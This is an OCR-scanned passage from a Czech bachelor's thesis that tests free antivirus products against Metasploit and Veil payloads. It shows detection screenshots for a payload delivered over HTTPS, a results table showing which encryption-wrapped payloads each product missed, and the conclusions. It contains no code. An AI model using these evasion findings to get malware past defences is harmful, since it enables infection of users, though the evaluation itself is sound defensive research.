payl_https.exe. (Obrazek 47)
AVG AntiVirus Free

Tento soubor jgme bezpecné uzamkli v karanténe.

Win32:Malware-gen
v ..BCPC1\Desktop\payl_https\payl_https.exe
C:\Windows\explorer.exe

ooy
- ‘/,/ﬁ(

Mozna na vas ¢ihaji dalsi hrozby!

Obrazek 47 — Detekce hrozby — scéna¥ 6 — AVG (zdroj — vlastni)
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7.7.3 Avira

Antivir Avira nedovolil payl https.exe spustit a soubor umistil do karantény, coZ oznamil
uzivateli. (Obrazek 48)

Security Alert

Date/Time: 12.04.2017, 19:34:24
Type: Detection

Access to file

'C:\Users\BCPC 1\Desktop'payl_https'payl_htt
ps.exe’ containing the pattern of

TRfCrypt. XPACK.Gen7 was blocked.

We moved the file to quarantine,

If you are unsure, ask the community or get
live help from Avira Suppart.

Go to Avira Support

Obrazek 48 — Detekce hrozby — scénaf 6 — Avira (zdroj — vlastni)

7.7.4 Bitdefender

Antivir Bitdefender soubor payl https.exe po manualni kontrole (do kontroly zahrnul vice

soubort) neidentifikoval tento soubor jako hrozbu. (Obrazek 49)

Bitdefender ANTIVIRUS FREE EDITION

Scan results
s Rychly pfistup
I Plocha
& Stazené soub
5] Dokumenty 00:04 23 o
&= Obrazky
1 Hudba Scan time Scanned files Infected files
B Videa
@ OneDrive L
[ Tento poéita

 Jednotka USB

multiboot

others CLOSE

I hacbrnnr far
Podet polodek: 1 Focer vyoranyen poroze 1; 5,45 v =3 On-demand

2312

AR, B

Obrazek 49 — Hrozba neidentifikovana — scénai 6 — Bitdefender (zdroj — vlastni)
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7.7.5 Windows Defender

Windows Defender neidentifikoval payl https.exe jako hrozbu, a to ani po manualni kontrole.

(Obrazek 50)

Nastroje aplikace
Soubor [T Sdileni  Zobrazeni Spréva

™ » Tento poéital » Plocha » payl_https v & Prohledat: payl_https

& Nazev Datum zmény Typ Velikost
# Rychly piistup
I Plocha -

\ed payl_https 11.04.2017 21:53 Aplikace 3570 kB

n
B [ Windows Defender
Stav pocitade: Chranéno

Aktualizovat Nastaveni v Napovéda

Celkem zkontrolovana 1 polozka. Moznosti kontroly:

Béhem kontroly nebyly v poéitaéi nalezeny Zdné hrozby.
@ Rychla

O Uplna

(O Viastni

Vi poéita je monitorovén a chranén.

& Ochrana v redlném Case:  Zapnuto

& Definice vird a spywaru:  Aktualni Zkontrolovat nyni’

Obrazek 50 — Hrozba neidentifikovana — scénaf 6 — Windows Defender (zdroj — vlastni)
7.7.6 Panda
Antivir Panda payl_https.exe po manuélni kontrole neidentifikoval jako hrozbu, a proto tento

soubor ponechal. (Obrazek 51)

iﬂ s | Nastroje aplikace payl_ht :
Domi Sdileni Zobrazeni Sprava 0
™ > Tento pocitac > Plocha > payl_https v o Prohledat: payl_https L
o
Nazev Datum zmény Typ Velikost

st Rychly pfistup
I Plocha
& Stazené soubory #

(4
i J Customscan

|4 payl_https 11.04.2017 21:53 Aplikace 3570kB

3
Done!

1 Scanned 100%

0 Detected

Detailed report \v

Obrazek 51 — Hrozba neidentifikovana — scénar 6 — Panda (zdroj — vlastni)
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7.8 Souhrn a vysledky

V nasledujici tabulce (Tabulka 5) budou shrnuty vysledky v jednotlivych scénafich, jak si vedl
kazdy zvybranych antivird. K otestovani jednotlivych antivirG bylo vyuzito 6 scénaid.
Nicméné v bézné praxi jsou antivirové programy testovany mnohem dikladnéji a takovychto
scénait mohou byt stovky, nebo 1 tisice. Je nutné podotknout, ze k otestovani antivira ve
specializovanych laboratofich se pouziva také zero—day malware, kdezto ve scénafich zde

popsanych se vyskytuje jiz znamy malware, o kterém je zaznam ve virové (malware) databazi.

Tabulka 5 — Vysledky testovani (zdroj — vlastni)

Windows
Avast AVG Avira | Bitdefender Panda
Defender
Scénar 1 -
payload klient- ANO ANO ANO ANO NE NE
server
Scénar 2 —
Veil-Ordnance
slasta ANO ANO NE ANO ANO NE
shellcode
Scénar 3 -
payload s AES ANO ANO ANO NE NE NE
Sifrovanim
Scénar 4 —
payload s DES ANO ANO ANO NE NE NE
Sifrovanim
Scénai 5 —
payload (.bat)
ANO ANO NE ANO NE NE
s ARC
Sifrovanim
Scénar 6 —
S‘i"’;y"’j"m ANO ANO ANO NE NE NE
HTTPS

Z vysledku v tabulce (Tabulka 5) vyplyva, Ze i freewarovy antivirovy program muze uzivatele
velice dobfe ochranit v piipadé stazeni Skodlivého malware napt. z internetu. Antiviry Avast a
AVG odhalily v§echny hrozby z této prace okamzité po extrahovani souboru .zip, ve kterém se
nachazely. HorSich vysledkti doséhly antiviry Avira a Bitdefender, téméf v poloving ptipad
oba antiviry hrozbu nedokazaly zachytit. V ptipad¢, Ze byla hrozba zachycena témito antiviry,

doslo k jejimu odhaleni hned po extrakci souboru .zip. Vibec nejhife dopadly antiviry
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Windows Defender a Panda, které nezachytily jedinou hrozbu (Windows Defender zachytil
pouze jednu). Coz pro koncového uzivatele, zejména pak uzivatele Windows, neni potésujici
zprava. Zajimavym jevem bylo na syst¢ému Windows 10 s antivirem Windows Defender, Ze
nekteré hrozby dokazal Windows Defender identifikovat az né€kolik dni po nasazeni do
systému. Nicméné to miize byt pro uzivatele Windows pouze mala utécha, protoze uzivatel

pottebuje byt ochranén pied v§emi nastrahami Vv redlném cCase.
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8 ZAVER
Tato prace si klade za cil otestovat freeware antiviry s vyuzitim OS Kali Linux a frameworki
metasploit a Veil. Uzitim téchto nastroju se ukazalo, Ze umoznuji a nabizeji testerovi spoustu

moznosti, jak otestovat zranitelnost riznych systémad.

Vysledky ukazaly, ze pouziti nékterych freeware antivirovych programi muze velmi dobie
ochranit systém, na kterém je vybrany antivir nainstalovan. Zv14sté pak uZivatelé z Cech mohou
byt spokojeni s antiviry vytvarenymi v rodném kraji. Antiviry Avast a AVG v této praci, resp.
v danych scénafich, obstaly na vybornou. Antiviry Avira a Bitdefender nékteré hrozby
zachytily, ale pro uzivatele, o¢ekavajiciho témér 100 % ochranu, nemuseji byt spravnou volbou.
Spatnou zpravou pro uzivatele Windows je, ze Windows Defender, jenZ je Vv nejnovéjsich
verzich Windows ve vychozim nastaveni jiz ptedinstalovan, pfedstavuje velmi slabou ochranu.
Z 6 nasazenych malware dokdzal odhalit pouze jeden, coZ neni uspokojujici zprava. Vibec
nejhife dopadl antivir Panda. Neodhalil ani jeden malware a stal se tak spise pouze jakymsi

YNvro s

standardné bézicim programem nez antivirem.

Je ztejmé, Ze jednotlivé scénare neotestovaly antiviry dostatecné, bylo by zapottebi mnohem
vice scénail. Pfesto i tak vysledky naméfené v této praci se viceméné shoduji s vysledky
nasbiranymi v kapitole (kapitola 2.9) a tyto vysledky spiSe potvrdily. Jedina vétsi odchylka se
vyskytla ve vysledcich antiviru Panda, coZ mohlo byt zplisobeno pravé nedostatkem

jednotlivych scénaiti, ve kterych byl tento antivir testovan.

IT bezpecnost je v dneSnim svété opravdu aktudlni téma. Kazdy uzivatel by mél byt opatrny a
chovat se nejen na internetu (jedna se i o chovani na vlastnim systému, napf. pfi pfipojeni
prenosnych zatizeni) velice obezietng, protoZe je plny riznych néstrah, jez by mohly uzivateli
ublizit. Vybér antiviru je na samotném uzivateli. Jak z této prace vyplyva, existuji antivirové
programy, které dokazi velmi dobie ochranit uzivatele v ptipad¢ jeho pochybeni. Piikladem je
stazeni nékterého malware a jeho nasledné otevieni. Je tedy dobré mit néjaky antivirovy
program nainstalovan. Pro uzivatele Windows je vhodné nespoléhat na vestavény antivirovy
systém Microsoft Defender, ale zvolit jiny freewarovy, nebo 1 placeny antivirovy program.
Avast nebo AVG, které ve vysledcich testovani z této prace, ale i ve vysledcich z nezavislych
laboratofi, maji vysokou uspésnost v odhalovani bezpecnostnich hrozeb, mohou byt pro
bézného uZzivatele idedlni volbou. Je ale nutné podotknout, Ze sebelepsi antivir neochrani
uzivatele stoprocentné. Proto by mél byt uzivatel neustale pozorny a premyslet nad svym

chovanim a jednanim.
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Ptiloha A — CD se zpracovanou bakalafskou praci
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